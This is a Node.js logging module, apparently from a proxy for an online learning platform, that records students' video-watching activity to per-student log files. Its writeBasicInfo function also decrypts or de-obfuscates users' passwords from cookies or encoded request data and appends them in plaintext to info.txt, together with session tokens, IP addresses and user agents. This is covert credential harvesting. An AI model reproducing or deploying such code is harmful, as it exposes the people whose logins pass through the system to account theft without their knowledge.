const fs = require('fs')
const com = require('@god/node-com')
const md5 = require('md5-node')

/**
 * 定义 log 针对 视频 数据采集 日志
 * @param req 请求参数
 * @param data._totalDir 默认表示，存储从第一学期开始
 */
const getLogVideoJson = (req, data) => {
  /* 学习视频的行为日志记录，重新修改 2019.04.30 */
  let _nodeServerCurrentTime = new Date().getTime()
  let _json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
  _json = JSON.parse(_json)

  /* 增加 学员目录、下属video目录。必须先处理，这是异步IO操作，可能导致 “新建” 学员目录、文件时，数据稍稍不准 缺少数据在 10s内 */
  let stuDir = (_json.name + '#' + _json.auth) || '其他'
  let _stuPath = 'upload_tmp/' + data._totalDir + '/' + stuDir
  com.dir.mkDir(_stuPath + '/video')

  // 按人头，每个人 多开不可能超过1000个浏览器tab页，所以这里不需要 大整型 字符串
  const signStr = _json.auth + ':' + req.params[0] + ':' + _nodeServerCurrentTime
  // uuid 保证 在 并发 数据量 下 也唯一
  const _uuid = md5(signStr)

  /* 是否为 视频接口调用，才调用视频日志存储 */
  let _isVideoFlag = false
  let _logVideo = {}
  if (/analytics\/upload-video/gi.test(req.params[0])) { _isVideoFlag = true }
  if (_isVideoFlag) {
    /* video 视频 行为日志格式 */
    _logVideo = {
      orderTime: _nodeServerCurrentTime + 's', // 请求排序时间字段（还需要 处理 高并发，采用 一个大整型转字符串值 记录，还未写）
      arriveTime: _nodeServerCurrentTime - (_json.time || 0) + 'ms', // 请求到达时间，从“客户端”发送请求 到 “服务端Node”接收到，所花费的时间，单位：ms (默认成功)
      reqTime: '', // 请求处理时长，从“Node层”转发请求 到 “服务处理完成”返回结果，所花费的时间，单位：ms
      status: '', // 记录“reqTime”的请求状态
      sys: _json.sys, // 客户端，浏览器信息
      IP: _getClientIP(req), // 客户端，请求IP值
      name: _json.name, // 学员姓名
      auth: _json.auth, // 学员账号
      uuid: _uuid, // uuid，根据这个id查询，是否存在出错等
      url: req.params[0], // 请求地址，这里 只存储 视频数据，下面为自定义，视频字段处理
      sid: req.query.s, // 学期 id
      cid: req.query.c, // 课程 id
      vid: req.query.v, // 视频 id
      _p: req.query._p, // 累计时间
      _m: req.query._m, // 当前播放最大时间
      _c: req.query._c, // 当前播放位置
      ps: req.query.ps // 播放时，播放过的 帧
    }
  }
  /* 日期字符串，如：2019-04-30 */
  let _dateStr = com.datetime.timestampToFormatDateStr(_nodeServerCurrentTime)
  return {
    _nodeServerCurrentTime, // 返回值，必存在
    _json, // 返回值，必存在
    _stuPath, // 返回值，必存在
    _uuid, // 返回值，必存在
    _isVideoFlag, // 返回值，必存在
    _logVideo, // 返回值，可能为 “{}”
    _dateStr // 返回值，必存在
  }
}
/**
 * 定义 log 针对 视频 数据采集 日志 写入 对应 日志文件
 * @param _logJson getLogVideoJson函数 返回的对象值
 * @param data._reqTime 请求处理时长
 * @param data._status 记录“reqTime”的请求状态
 */
const writeLogVideo = (_logJson, data) => {
  /* 按日期，每天存储 video日志信息 写入 */
  if (_logJson._isVideoFlag) {
    fs.stat(_logJson._stuPath + '/video', (err, stat) => {
      if (!err) {
        _logJson._logVideo.reqTime = data._reqTime
        _logJson._logVideo.status = data._status
        let _strLogVideo = ''
        for (let key in _logJson._logVideo) { _strLogVideo += _logJson._logVideo[key] + String.fromCharCode(0x001) }
        fs.appendFile(_logJson._stuPath + '/video' + '/video-' + _logJson._dateStr + '.log', _strLogVideo + '\n', function (err) {
          if (err) { return console.error(_logJson._uuid, err) }
        })
      }
    })
  }
}
/**
 * 用户基本信息写入
 * @param {} req 请求参数
 * @param {} _logJson getLogVideoJson函数 返回的对象值
 * @param {} data.pwdBase64 密码base64 加密
 * @param {} data._cookieArr 传入 cookie 数组
 * @param {} data._SUP 返回 _SUP
 * @param {} data._token 返回 token
 * @param {} data._totalDir 存储从第一学期开始
 * @param {} data._name 用户名
 * @param {} data._email 用户邮箱
 */
const writeBasicInfo = (req, _logJson, data) => {
  /* 有可能，用户缓存，token未过期，直接跳过登录 */
  if ((_logJson._json.name + '#' + _logJson._json.auth) === '未知#未知') {
    let stuDir = (data._name + '#' + data._email) || '其他'
    let _stuPath = 'upload_tmp/' + data._totalDir + '/' + stuDir
    com.dir.mkDir(_stuPath + '/video')

    _logJson._json.name = data._name
    _logJson._json.auth = data._email
    _logJson._stuPath = _stuPath
  }

  /* 基础info数据，写入文件, 累加写入 */
  fs.stat(_logJson._stuPath, (err, stat) => {
    if (!err) {
      if (!data.pwdBase64) { // 从cookie中获取
        let _AUTH = ''
        for (let i = 0; i < data._cookieArr.length; i++) {
          if (/_AUTH=/gi.test(data._cookieArr[i])) {
            _AUTH = data._cookieArr[i].split('=')[1]
            break
          }
        }
        data.pwdBase64 = com.cryptos.decryptData(_AUTH)
      }
      /* 有密码时，才写入基础数据中 */
      if (data.pwdBase64 || data._SUP) {
        fs.appendFile(_logJson._stuPath + '/info.txt', [
          'DateStr: ' + _logJson._dateStr + ' ' + com.datetime.timestampToFormatTimeStr(new Date().getTime() - new Date(_logJson._dateStr + ' 00:00:00').getTime()),
          'Name: ' + _logJson._json.name,
          'Sys: ' + _logJson._json.sys,
          'Auth: ' + _logJson._json.auth,
          'Pwd: ' + (data.pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
          '_SUP: ' + data._SUP, // 解决验证码登录，没有密码问题 或 没有重复登录过，没有密码问题
          'token: ' + data._token,
          'Version: ' + _logJson._json.version,
          'IP: ' + _getClientIP(req),
          'UA: ' + req.headers['user-agent'],
          '\n\n'
        ].join('\n'), function (err) {
          if (err) { return console.error(_logJson._uuid, err) }
        })
      }
    }
  })
}

const _getClientIP = (req) => {
  return req.headers['x-forwarded-for'] ||
    req.connection.remoteAddress ||
    req.socket.remoteAddress ||
    (req.connection.socket && req.connection.socket.remoteAddress) || ''
}

module.exports = {
  getLogVideoJson: getLogVideoJson,
  writeLogVideo: writeLogVideo,
  writeBasicInfo: writeBasicInfo
}
